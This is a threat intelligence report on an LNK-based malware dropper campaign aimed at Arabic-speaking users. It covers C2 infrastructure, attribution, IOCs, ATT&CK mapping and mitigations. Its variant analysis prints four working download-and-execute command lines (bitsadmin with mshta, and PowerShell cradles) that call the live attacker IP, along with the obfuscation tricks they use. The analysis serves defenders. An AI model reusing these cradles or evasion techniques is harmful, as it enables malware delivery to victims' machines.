BreakglassIntelligence
Back to reports
criticalAPT

Operation MIRZBOW — LNK Dropper Campaign Targeting Arabic-Speaking Users

InvestigatedApril 3, 2026PublishedApril 3, 2026
Threat Actors:ProfileAssessments including:groups operating in the Syrian theater.
amzzipsyriac2rattorlnk

TLP: WHITE Date: 2026-04-03 Analyst: GHOST (Breakglass Intelligence) Classification: Cybercrime / Targeted Espionage (Dual-Use) Source Lead: @smica83 via Twitter/MalwareBazaar

Executive Summary

A multi-variant LNK-based malware dropper campaign has been identified operating from a single C2 server at 46[.]161[.]0[.]94, hosted on Russian bulletproof infrastructure managed by MNT-PINSUPPORT (Metluk Nikolay Valeryevich, St. Petersburg). The campaign uses at least four distinct payload delivery paths and targets Arabic-speaking users — confirmed by a LNK file named "نموذج.xls.lnk" (Arabic for "Form/Template") — alongside English-language lures. Ten related samples have been identified communicating with this C2, employing BitsAdmin, PowerShell, and obfuscated command-line techniques to download and execute second-stage payloads including HTA files, PowerShell scripts, and a trojanized Chrome executable. The campaign has been active since at least November 2025, with the most recent sample (amz.zip) uploaded on April 2, 2026. All second-stage payload URLs now return HTTP 403, indicating the operator is aware of exposure and has locked down the infrastructure.

Key Findings

  • 10 malware samples identified communicating with the single C2 IP 46[.]161[.]0[.]94
  • Arabic-language targeting confirmed via "نموذج.xls.lnk" (Form/Template) filename
  • 4 distinct C2 payload paths: /Mirzbow/, /mirmLAT/, /smersh/, /course/ — plus /chromeupd.zip
  • Multi-stage attack chain: LNK -> BitsAdmin/PowerShell -> HTA/PS1 -> trojanized chrome.exe + decoy document
  • Russian BPH infrastructure: AS63023 (GTHost/GlobalTeleHost), managed by MNT-PINSUPPORT (St. Petersburg, Russia)
  • Extensive obfuscation: Caret escaping, string splitting with single quotes, wildcard command resolution, delayed variable expansion
  • Anti-analysis features: IsDebuggerPresent, GetTickCount, Sleep timers, debug environment detection
  • Campaign duration: At least November 2, 2025 through April 2, 2026 (5+ months active)
  • ReversingLabs classification: Win32.Trojan.Sonbokli — linked to SilverFox and DonutLoader families

Attack Chain

[Delivery]                    [Stage 1]                      [Stage 2]                    [Stage 3]
 Email/IM                      LNK File                       Downloader                   Payload
 ┌─────────┐    Open ZIP    ┌──────────────┐   cmd.exe     ┌─────────────┐  Download   ┌──────────────┐
 │ amz.zip  │──────────────>│ summ.xlsx.lnk│─────���────────>│ BitsAdmin /  │────────────>│ chrome.exe   │
 │ pdf.zip  │               │ نموذج.xls.lnk│               │ PowerShell   │             │ (trojanized) │
 │ Amz-1.zip│               │ PointOne.rtf │               │ (obfuscated) │             │ + decoy .xls │
 └──��──────┘                └──────────────┘               └─────────────┘             └──────────────┘
                                 │                              │
                                 │ Icon: Excel/RTF              │ Custom UA: "UA WindowsPowerShell"
                                 │ Window: ShowMinNoActive      │ Paths: /Mirzbow/ /mirmLAT/ /smersh/
                                 │ WD: %LOCALAPPDATA%           │

Variant Analysis — Three Delivery Mechanisms

Variant A (BitsAdmin + HTA): Used in amz.zip / summ.xlsx.lnk

cmd.exe /v:on /c set mycmd=bitsadmin /transfer DdZEm5rrf3QWF09 /download
  http://46.161.0.94/Mirzbow/artifactperformance.hta %TEMP%\XSJwreBnNCprgVixrzWUXQBu.hta
  && mshta.exe %TEMP%\XSJwreBnNCprgVixrzWUXQBu.hta && cmd /c !mycmd!
  • Uses delayed expansion (/v:on) for evasion
  • Caret escaping on every character (b^i^t^s^a^d^m^i^n)
  • Random BitsAdmin job name and temp filename

Variant B (PowerShell + WinHTTP): Used in summary.xlsx.lnk

powershell.exe -w Hidden $r = New-Object -ComObject 'WinHttp.WinHttpRequest.5.1';
  $r.Open('GET', 'http://46.161.0.94/mirmLAT/departuredishwasher.ps1', $false);
  $r.SetRequestHeader('User-Agent', 'UA WindowsPowerShell');
  $r.Send(); . ([ScriptBlock]::Create($r.ResponseText))
  • Hidden window (-w Hidden)
  • Custom User-Agent: UA WindowsPowerShell
  • Downloads PS1 and executes via ScriptBlock

Variant C (PowerShell + Multi-Stage + Decoy): Used in نموذج.xls.lnk (Arabic lure)

powershell.exe -win 1 [junk echo commands]; sleep 0.03;
  if (-not(Test-Path 'chromeupd.zi''p''')){
    Invoke-WebRequest -uri htt''p://46''.16''1.0''.94/chromeupd''.zi''p -OutFile chromeupd.zip
  };
  Expand-Archive -Path chromeupd.zip -DestinationPath ps_x32;
  start ps_x32/chrome.exe;
  Invoke-WebRequest -uri htt''p://46''.16''1.0''.94/course/unarchive_attempt_failure.xls
    -OutFile unarchive_attempt_failure.xls;
  start unarchive_attempt_failure.xls
  • Junk ECHo commands for obfuscation padding
  • String splitting with single quotes (htt''p://, chromeupd''.zi''p)
  • Wildcard command resolution (inv??e-webr**** = Invoke-WebRequest)
  • Downloads trojanized chrome.exe AND a decoy Excel document
  • Decoy document (unarchive_attempt_failure.xls) opened to maintain social engineering cover

Variant D (PowerShell + ScriptBlock + Hidden): Used in PointOne.rtf.lnk

powershell.exe -w Hidden .([ScriptBlock]::Create((New-Object Net.WebClient |
  ForEach-Object { $_.Headers.Add('User-Agent','UA WindowsPowerShell');
  $_.DownloadString('http://46.161.0.94/smersh/stealinvestigator.ps1') })))
  • Same custom UA as Variant B
  • Downloads and executes PS1 from /smersh/ path

Infrastructure Analysis

C2 Server

AttributeValue
IP Address46[.]161[.]0[.]94
Hostnamevm12430.hyper.hosting
ASNAS63023 (GTHost / GlobalTeleHost)
ASN RegistrantGTHost, 427 S La Salle St Suite 405, Chicago IL
RIPE MaintainerMNT-PINSUPPORT
RIPE AdminVarnyan Valeriya Viktorovna, Moscow, RU
RIPE Maintainer AdminMetluk Nikolay Valeryevich, St. Petersburg, RU
Network46[.]161[.]0[.]0/24 (cust88530-network)
Country (RIPE)FR (registration), RU (operator)
ServicesSSH (OpenSSH 8.9p1), HTTP (Apache 2.4.52 Ubuntu)
StatusLIVE (403 on all paths — locked down but responsive)
VT Detection11 malicious, 2 suspicious out of 93 vendors

C2 URL Paths (Observed)

PathPayload TypeAssociated LNK VariantFirst Observed
/Mirzbow/artifactperformance.htaHTAsumm.xlsx.lnk (amz.zip)2026-03-30
/mirmLAT/departuredishwasher.ps1PowerShellsummary.xlsx.lnk2026-03-17
/smersh/stealinvestigator.ps1PowerShellPointOne.rtf.lnk2025-11-02
/smersh/puzzledsymbol.ps1PowerShellsummary.xlsx.lnkUnknown
/chromeupd.zipTrojanized Chromeنموذج.xls.lnkUnknown
/course/unarchive_attempt_failure.xlsDecoy documentنموذج.xls.lnkUnknown

Naming pattern analysis: Path names appear randomly generated (Mirzbow, mirmLAT, smersh) with two-word payload filenames (artifactperformance, departuredishwasher, stealinvestigator, puzzledsymbol). The word smersh is notable — it references the Soviet/Russian military counterintelligence organization SMERSH (Smert Shpionam / "Death to Spies"), potentially a deliberate cultural reference by the operator.

Adjacent Infrastructure

IPHostnamePortsNotes
46[.]161[.]0[.]80vm15617.hyper.hosting22,80,443,3003,8443Hosts trade-ooooptima[.]com, assetregenltd[.]com
46[.]161[.]0[.]88vm13585.hyper.hosting1701L2TP VPN
46[.]161[.]0[.]94vm12430.hyper.hosting22,80C2 server
46[.]161[.]0[.]96vm13805.hyper.hosting161,1701SNMP + L2TP VPN

Note on 46[.]161[.]0[.]80: Hosts assetregenltd[.]com (registered 2026-03-25 via OpenProvider/Registrar.eu, Cloudflare NS: hadlee/nolan) and trade-ooooptima[.]com. Both are suspicious — assetregenltd.com was registered 8 days ago, same hosting block as the C2. May be related campaign infrastructure for financial fraud/social engineering, but no direct malware link confirmed.

Hosting Hierarchy

AS63023 (GTHost/GlobalTeleHost, Chicago IL)
  └── hyper.hosting (reseller brand)
      └── MNT-PINSUPPORT (RIPE maintainer, St. Petersburg RU)
          └── cust88530-network (46.161.0.0/24)
              └── vm12430 = 46.161.0.94 (C2 SERVER)

MNT-PINSUPPORT manages at minimum 20+ /24 blocks across:

  • 146[.]185[.]212[.]0/24 through 146[.]185[.]253[.]0/24 (multiple ranges)
  • 185[.]232[.]28[.]0/22 (DE-PINHOSTING, Estonia)
  • 188[.]143[.]160[.]0 - 188[.]143[.]231[.]0 (large block, Russia)
  • 46[.]161[.]0[.]0/24 (this C2)

This is a large-scale Russian bulletproof hosting operation with infrastructure registered across RU, DE, EE, ES, NL, and FR.

Malware Analysis

Sample Inventory

SHA256FilenameTypeDetectionThreat Label
3c5ca1d037d3d3ac89fb1415a4b374e4ead9f36c466b7917fa4f009e0a834b5famz.zipZIP27/66trojan.leopard/hiddenext
ce01596c7e57752e28c9c6ed1102afde6b5ea9e1084e5d79fd3cdd2afdda819esumm.xlsx.lnkLNK(inner)BitsAdmin dropper
19908832f56b96678064ce686c8982e4c46c9a3ef4b489b114843087eec97daaAmz-1.zipZIP31/60trojan.boxter/downlnk
19cb78e1c8d0552e2379e61931b4da51a2a614838df30699ea9c6f16b5182985summ.xlsx.lnkLNK28/59trojan.boxter/downlnk
25db9e8f7fa51bd00434cd0ed5ada9981d0fadc4147b56719c45206ea2568c2apdf.zipZIP31/65trojan.boxter/downlnk
35847fecdf896819cb21b6434856f823ab438ad46d9a5ef502053edf45900b06PointOne.rtf.lnkLNK23/58trojan.boxter/downlnk
8d67ee22dd5b1ad0ba524b46691f988240785c67a6ba3901c41945823f6c1c87summary.xlsx.lnkLNK34/62trojan.boxter/downlnk
9befd3e28656fe5572214288217f4399926884b19d9245028ca588501c79f1d2(unnamed zip)ZIP32/67trojan.boxter/lnkexec
a478c80c64f1c824d8851745a8ad0ed94b0ad3fdb7ec2bf36205feb63aa803f2PointOne.rtf.lnkLNK35/63trojan.boxter/downlnk
abaa25a2a7a04c7dd4c33e6afde44f618112603f91550128295bb11e8d7eb5c9summary.xlsx.lnkLNK29/63trojan.boxter/downlnk
adf20c2868817140956045bc75a348a2170d2ecf58ef83758e2ca5688581e0b4نموذج.xls.lnkLNK27/63trojan.boxter/lnkexec

LNK Metadata (summ.xlsx.lnk from amz.zip)

FieldValue
SHA256ce01596c7e57752e28c9c6ed1102afde6b5ea9e1084e5d79fd3cdd2afdda819e
File Size7,086 bytes
Creation Time2026-03-30 13:26:05 UTC
IconSHELL32.dll, index 250 (Excel icon)
TargetC:\Windows\System32\cmd.exe
Working Directory%LOCALAPPDATA%
Window StyleShowMinNoActive (hidden execution)
Description"MS Excel Worksheet"
Root Folder CLSID20D04FE0-3AEA-1069-A2D8-08002B30309D (My Computer)

Sonbokli Family Context

ReversingLabs classifies this campaign as Win32.Trojan.Sonbokli. On MalwareBazaar, samples tagged "Sonbokli" are also tagged with:

  • SilverFox — Chinese-origin infostealer/RAT associated with trojanized software
  • DonutLoader — Shellcode generation framework for in-memory PE/DLL/CLR loading

This suggests the final payload (chrome.exe from chromeupd.zip) may be a SilverFox variant packed with DonutLoader, though the second-stage payloads could not be retrieved for confirmation as the C2 now returns 403 on all paths.

Behavioral Indicators (from VT sandbox)

IndicatorDetail
Anti-DebugIsDebuggerPresent, GetTickCount timing checks
Sleep EvasionDetect-debug-environment, long-sleeps
Process InjectionWriteProcessMemory (Triage signature)
Location CheckChecks computer location settings
Storage EnumEnumerates physical storage devices
Custom UA"UA WindowsPowerShell"

Threat Actor Profile

Attribution Assessment

  • Confidence: MEDIUM
  • Country/Region: Russia (infrastructure and cultural indicators)
  • Motivation: Likely dual-use — espionage targeting Arabic-speaking populations + general cybercrime
  • Sophistication: Moderate — multiple obfuscation variants, custom tooling, but relies on known TTPs

Evidence for Russian Attribution

  1. RIPE maintainer: MNT-PINSUPPORT, admin Metluk Nikolay Valeryevich, St. Petersburg
  2. RIPE admin contact: Varnyan Valeriya Viktorovna, Moscow
  3. ASN: GTHost (AS63023) — known to resell to Russian operators
  4. C2 path name: /smersh/ — SMERSH was Soviet military counterintelligence ("Death to Spies")
  5. Hosting pattern: Uses hyper.hosting brand under Russian-managed infrastructure
  6. Sonbokli/SilverFox family links: Associated with operations targeting Chinese and Middle Eastern users

OPSEC Observations

  • Uses direct IP (no domain) for C2 — avoids DNS-based detection but limits operational flexibility
  • Multiple delivery variants suggest active development and A/B testing of evasion techniques
  • Locks down C2 paths (403) after sample exposure — monitors public sandboxes and threat intel feeds
  • Campaign duration of 5+ months on same IP suggests confidence in BPH protection from takedown

Targeting Analysis

Confirmed Target: Arabic-Speaking Users

The LNK file نموذج.xls.lnk uses Arabic text ("Form" or "Template") as the filename, indicating:

  • Primary targeting: Arabic-speaking populations, likely in Syria (per @smica83's tweet context)
  • Social engineering theme: Government/organizational forms — common in targeted campaigns against activists, journalists, and opposition groups in conflict zones
  • Decoy document: /course/unarchive_attempt_failure.xls — suggests education/training themed lure

Secondary Targets

  • English-language lures (summary.xlsx.lnk, PointOne.rtf.lnk, pdf.zip) suggest broader targeting
  • amz.zip / Amz-1.zip — possible Amazon-themed lure for financial/credential phishing

Regional Context

Syria has been a persistent target for state-sponsored and state-adjacent cyber operations. Arabic-named LNK files disguised as government forms are a well-documented TTP used by multiple actors including:

  • Syrian Electronic Army
  • APT-C-37 (Pat-Bear)
  • Various Russian-aligned operations supporting the Assad regime
  • Iranian-aligned groups

The use of Russian BPH infrastructure combined with Arabic-language targeting is consistent with Russian intelligence operations or Russian-speaking mercenary/contractor groups operating in the Syrian theater.

MITRE ATT&CK Mapping

TacticTechniqueIDApplication
Initial AccessPhishing: Spearphishing AttachmentT1566.001ZIP file containing malicious LNK
ExecutionCommand and Scripting Interpreter: Windows Command ShellT1059.003cmd.exe with obfuscated commands
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001Hidden PowerShell download cradle
ExecutionSystem Services: MSHTAT1218.005mshta.exe executing downloaded HTA
ExecutionUser Execution: Malicious FileT1204.002User opens LNK disguised as document
PersistenceBITS JobsT1197BitsAdmin for payload download
Defense EvasionObfuscated Files or InformationT1027Caret escaping, string splitting, wildcard commands
Defense EvasionMasquerading: Match Legitimate NameT1036.005LNK uses Excel/RTF icons, chrome.exe name
Defense EvasionDeobfuscate/Decode FilesT1140Runtime string reconstruction
Defense EvasionVirtualization/Sandbox EvasionT1497Debug detection, timing checks, long sleeps
Command and ControlApplication Layer Protocol: WebT1071.001HTTP GET to direct IP for payload download
Command and ControlIngress Tool TransferT1105BitsAdmin/PowerShell downloading payloads

IOC Summary

Network Indicators

C2 Server:

  • 46[.]161[.]0[.]94 (LIVE — returns 403)

C2 URLs (all hxxp://):

  • hxxp://46[.]161[.]0[.]94/Mirzbow/artifactperformance.hta
  • hxxp://46[.]161[.]0[.]94/mirmLAT/departuredishwasher.ps1
  • hxxp://46[.]161[.]0[.]94/smersh/stealinvestigator.ps1
  • hxxp://46[.]161[.]0[.]94/smersh/puzzledsymbol.ps1
  • hxxp://46[.]161[.]0[.]94/chromeupd.zip
  • hxxp://46[.]161[.]0[.]94/course/unarchive_attempt_failure.xls

Adjacent Suspicious Infrastructure:

  • 46[.]161[.]0[.]80 (trade-ooooptima[.]com, assetregenltd[.]com)

File Indicators

Hash (SHA256)Filename
3c5ca1d037d3d3ac89fb1415a4b374e4ead9f36c466b7917fa4f009e0a834b5famz.zip
ce01596c7e57752e28c9c6ed1102afde6b5ea9e1084e5d79fd3cdd2afdda819esumm.xlsx.lnk
19908832f56b96678064ce686c8982e4c46c9a3ef4b489b114843087eec97daaAmz-1.zip
19cb78e1c8d0552e2379e61931b4da51a2a614838df30699ea9c6f16b5182985summ.xlsx.lnk
25db9e8f7fa51bd00434cd0ed5ada9981d0fadc4147b56719c45206ea2568c2apdf.zip
35847fecdf896819cb21b6434856f823ab438ad46d9a5ef502053edf45900b06PointOne.rtf.lnk
8d67ee22dd5b1ad0ba524b46691f988240785c67a6ba3901c41945823f6c1c87summary.xlsx.lnk
9befd3e28656fe5572214288217f4399926884b19d9245028ca588501c79f1d2(unnamed).zip
a478c80c64f1c824d8851745a8ad0ed94b0ad3fdb7ec2bf36205feb63aa803f2PointOne.rtf.lnk
abaa25a2a7a04c7dd4c33e6afde44f618112603f91550128295bb11e8d7eb5c9summary.xlsx.lnk
adf20c2868817140956045bc75a348a2170d2ecf58ef83758e2ca5688581e0b4نموذج.xls.lnk

MD5 (amz.zip): b5ea8c6b6fc0294adfb1084149d98933 SHA1 (amz.zip): 66a9e431a2a6b388800b946d2677686241f84132 SSDEEP (amz.zip): 24:9kZKk/9nlzgm+G0/gTlF0gJFof1GRziuEbnWwmLey6:9CKEhlMVTYrHFof1vuEawmE TLSH (amz.zip): T1E1E1C05033BE9200F2B6C675CD75B764CF4AFD009A7696C80AB2225C9C31B649D21B29

Behavioral Indicators

TypeValue
BitsAdmin Job NameDdZEm5rrf3QWF09
Temp File%TEMP%\XSJwreBnNCprgVixrzWUXQBu.hta
Extraction Pathps_x32\chrome.exe
User-AgentUA WindowsPowerShell
LNK Description"MS Excel Worksheet"

Vendor Intelligence Summary

VendorVerdictDetails
ReversingLabsMALICIOUSWin32.Trojan.Sonbokli (7/36 engines)
YOROI YOMIMalicious FileScore: 1.00
InQuestMALICIOUSIPv4 Dotted Quad URL detected
DocGuardMaliciousLNK File — extracted C2 URL
TriageDropper (8/10)BitsAdmin download, obfuscated cmd, WriteProcessMemory
FileScan-IOMALICIOUSThreat level 1.0, confidence 1.0
Spamhaus HBLSuspicious—
ClamAVMultiple hitsEvilLNK family (7 signatures)

Immediate (24-48 hours)

  • Block 46[.]161[.]0[.]94 at firewall/proxy (all ports)
  • Hunt for BitsAdmin transfers with randomized job names targeting port 80 direct IPs
  • Search for "UA WindowsPowerShell" User-Agent in proxy logs
  • Alert on PowerShell executions with -w Hidden and WinHttp.WinHttpRequest.5.1
  • Search email gateway logs for ZIP attachments containing .lnk files with Excel/RTF icons

Short-term (1-2 weeks)

  • Block entire 46[.]161[.]0[.]0/24 range (BPH infrastructure)
  • Deploy YARA rules below to email gateway and endpoint
  • Deploy Suricata rules below to network sensors
  • Monitor MNT-PINSUPPORT ranges (146.185.x.x, 185.232.28-31.x, 188.143.x.x) for new C2 deployments
  • Share IOCs with regional CERTs — particularly SY-CERT if exists, and organizations operating in Syrian conflict zone

Medium-term (1-3 months)

  • Monitor for new samples communicating with 46[.]161[.]0[.]0/24
  • Track Sonbokli/Boxter family evolution on MalwareBazaar
  • Monitor assetregenltd[.]com and trade-ooooptima[.]com for activation

References

Share